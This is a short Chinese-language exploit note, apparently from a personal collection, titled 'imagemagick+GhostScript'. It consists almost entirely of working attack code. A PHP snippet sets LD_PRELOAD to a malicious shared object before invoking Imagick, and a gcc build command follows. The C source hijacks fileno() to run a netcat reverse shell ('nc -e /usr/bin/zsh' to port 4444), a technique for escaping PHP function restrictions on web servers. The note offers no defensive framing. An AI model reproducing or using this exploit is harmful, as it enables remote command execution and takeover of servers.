003-imagemagick+GhostScript.md
507 B / 2021-07-17 00:01:42
## **imagemagick+GhostScript**
**exp**
```php
<?php
putenv('LD_PRELOAD=/var/www/html/imag.so');
$img = new Imagick('/tmp/1.ps');
?>
```
其中 imag.c文件需要编译，命令如下
```bash
gcc -shared -fPIC imag.c -o imag.so
```
> imag.c代码
```bash
#include <stdlib.h>
#include <string.h>
void payload() {
const char* cmd = "nc -e /usr/bin/zsh 127.0.0.1 4444";
system(cmd);
}
int fileno() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
```